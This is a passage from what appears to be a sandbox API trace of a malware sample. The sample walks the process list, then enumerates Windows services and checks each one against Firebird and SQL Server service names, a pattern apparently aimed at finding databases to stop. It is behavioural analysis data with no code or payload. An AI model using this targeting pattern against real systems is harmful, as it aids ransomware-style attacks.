cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.870] lstrlenW (lpString="svchost.exe") returned 11 [0179.870] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.871] lstrlenW (lpString="svchost.exe") returned 11 [0179.871] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.872] lstrlenW (lpString="svchost.exe") returned 11 [0179.872] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.872] lstrlenW (lpString="svchost.exe") returned 11 [0179.872] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.873] lstrlenW (lpString="svchost.exe") returned 11 [0179.873] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0179.874] lstrlenW (lpString="spoolsv.exe") returned 11 [0179.874] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.874] lstrlenW (lpString="svchost.exe") returned 11 [0179.874] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0179.875] lstrlenW (lpString="audiodg.exe") returned 11 [0179.875] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0179.876] lstrlenW (lpString="sihost.exe") returned 10 [0179.876] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0179.876] lstrlenW (lpString="svchost.exe") returned 11 [0179.876] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0179.877] lstrlenW (lpString="taskhostw.exe") returned 13 [0179.877] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0179.878] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0179.878] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0179.878] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0179.878] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0179.907] lstrlenW (lpString="Memory Compression") returned 18 [0179.907] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0179.908] lstrlenW (lpString="explorer.exe") returned 12 [0179.908] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0179.908] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0179.909] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0179.909] lstrlenW (lpString="SearchUI.exe") returned 12 [0179.909] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0179.910] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0179.910] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0179.911] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0179.911] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0179.911] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0179.911] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0179.912] lstrlenW (lpString="consent.exe") returned 11 [0179.912] Process32NextW (in: hSnapshot=0x4f4, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x3b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0179.913] CloseHandle (hObject=0x4f4) returned 1 [0179.913] Sleep (dwMilliseconds=0x1f4) [0180.599] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408e140 [0180.600] EnumServicesStatusExW (in: hSCManager=0x408e140, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0180.601] GetLastError () returned 0xea [0180.601] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4121fa0 [0180.601] EnumServicesStatusExW (in: hSCManager=0x408e140, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4121fa0, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4121fa0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0180.603] CloseServiceHandle (hSCObject=0x408e140) returned 1 [0180.603] lstrlenW (lpString="Appinfo") returned 7 [0180.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0180.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0180.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0180.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0180.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0180.603] lstrlenW (lpString="AppXSvc") returned 7 [0180.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0180.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0180.603] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0180.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0180.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0180.604] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0180.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0180.604] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0180.604] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0180.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0180.604] lstrlenW (lpString="Audiosrv") returned 8 [0180.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0180.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0180.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0180.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0180.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0180.604] lstrlenW (lpString="BFE") returned 3 [0180.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0180.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0180.604] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0180.604] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0180.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0180.604] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0180.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0180.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0180.605] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0180.605] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0180.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0180.605] lstrlenW (lpString="CDPSvc") returned 6 [0180.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0180.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0180.605] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0180.605] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0180.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0180.605] lstrlenW (lpString="ClickToRunSvc") returned 13 [0180.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0180.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0180.606] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0180.606] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0180.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0180.606] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0180.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0180.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0180.607] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0180.607] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0180.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0180.607] lstrlenW (lpString="CryptSvc") returned 8 [0180.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0180.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0180.607] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0180.607] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0180.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0180.607] lstrlenW (lpString="DcomLaunch") returned 10 [0180.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0180.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0180.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0180.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0180.607] lstrlenW (lpString="DeviceAssociationService") returned 24 [0180.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0180.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0180.608] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0180.608] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0180.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0180.608] lstrlenW (lpString="Dhcp") returned 4 [0180.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0180.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0180.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0180.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0180.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0180.608] lstrlenW (lpString="Dnscache") returned 8 [0180.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0180.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0180.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0180.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0180.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0180.608] lstrlenW (lpString="DPS") returned 3 [0180.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0180.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0180.608] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0180.608] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0180.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0180.608] lstrlenW (lpString="DusmSvc") returned 7 [0180.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0180.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0180.609] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0180.609] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0180.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0180.609] lstrlenW (lpString="EventLog") returned 8 [0180.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0180.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0180.609] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0180.609] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0180.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0180.609] lstrlenW (lpString="EventSystem") returned 11 [0180.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0180.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0180.609] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0180.609] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0180.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0180.609] lstrlenW (lpString="FontCache") returned 9 [0180.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0180.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0180.609] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0180.609] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0180.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0180.609] lstrlenW (lpString="gpsvc") returned 5 [0180.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0180.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0180.610] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0180.610] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0180.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0180.610] lstrlenW (lpString="iphlpsvc") returned 8 [0180.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0180.610] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0180.610] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0180.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0180.610] lstrlenW (lpString="KeyIso") returned 6 [0180.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0180.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0180.610] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0180.610] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0180.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0180.610] lstrlenW (lpString="LanmanServer") returned 12 [0180.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0180.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0180.610] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0180.610] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0180.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0180.610] lstrlenW (lpString="LanmanWorkstation") returned 17 [0180.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0180.610] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0180.610] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0180.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0180.611] lstrlenW (lpString="lfsvc") returned 5 [0180.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0180.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0180.611] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0180.611] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0180.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0180.611] lstrlenW (lpString="lmhosts") returned 7 [0180.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0180.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0180.611] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0180.611] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0180.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0180.611] lstrlenW (lpString="LSM") returned 3 [0180.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0180.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0180.611] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0180.611] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0180.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0180.611] lstrlenW (lpString="MpsSvc") returned 6 [0180.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0180.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0180.769] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0180.769] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0180.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0180.769] lstrlenW (lpString="NcbService") returned 10 [0180.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0180.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0180.769] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0180.769] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0180.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0180.769] lstrlenW (lpString="netprofm") returned 8 [0180.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0180.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0180.770] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0180.770] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0180.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0180.770] lstrlenW (lpString="NgcSvc") returned 6 [0180.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0180.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0180.770] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0180.770] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0180.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0180.770] lstrlenW (lpString="NlaSvc") returned 6 [0180.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0180.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0180.770] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0180.770] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0180.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0180.770] lstrlenW (lpString="nsi") returned 3 [0180.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0180.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0180.770] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0180.770] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0180.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0180.770] lstrlenW (lpString="PcaSvc") returned 6 [0180.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0180.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0180.771] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0180.771] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0180.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0180.771] lstrlenW (lpString="PlugPlay") returned 8 [0180.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0180.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0180.771] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0180.771] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0180.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0180.771] lstrlenW (lpString="Power") returned 5 [0180.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0180.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0180.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0180.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0180.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0180.772] lstrlenW (lpString="ProfSvc") 